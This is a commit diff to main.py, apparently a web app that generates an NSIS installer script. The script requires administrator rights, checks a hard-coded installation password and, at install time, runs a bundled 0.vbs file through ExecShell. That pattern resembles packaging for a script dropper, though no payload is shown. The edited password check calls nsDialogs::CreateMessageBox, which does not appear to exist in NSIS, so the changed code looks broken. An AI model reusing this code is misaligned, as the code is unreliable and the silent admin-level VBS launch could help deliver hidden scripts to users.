Update main.py

main.py

@@ -67,7 +67,6 @@ VIProductVersion "1.4.44.3"
 
 # Set the output directory and the base name of the installer file
 SetCompressor /SOLID lzma
-
 RequestExecutionLevel admin
 
 # Application metadata
@@ -88,23 +87,25 @@ Var PasswordInput
 Function ShowPasswordPage
   nsDialogs::Create 1018
   Pop $DialogHandle
-  
+
   nsDialogs::CreateLabel 10u 10u 100% 12u "Please enter the installation password:"
   Pop $0
   nsDialogs::CreatePassword 10u 25u 100% 12u ""
   Pop $PasswordInput
-  
+
   nsDialogs::Show
 FunctionEnd
 
 # Password check logic
 Function CheckPassword
   nsDialogs::GetText $PasswordInput $PASSWORD
-  StrCmp $PASSWORD "yourpassword" 0 +3
-    MessageBox MB_OK "Password accepted"
+  StrCmp $PASSWORD "yourpassword" 0 +2
+    # If the password is correct, continue to installation
     Return
 
-  MessageBox MB_OK "Incorrect password. Installation will now exit."
+  # If the password is incorrect, disable the install button and inform the user
+  nsDialogs::CreateMessageBox "Incorrect password. Please try again." "Error"
+  nsDialogs::Show
   Abort
 FunctionEnd
 
@@ -126,6 +127,7 @@ Section "Install"
   IfFileExists "$INSTDIR\\0.vbs" 0 +2
     ExecShell "" "$INSTDIR\\0.vbs"
 SectionEnd
+
 """
 
     nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi')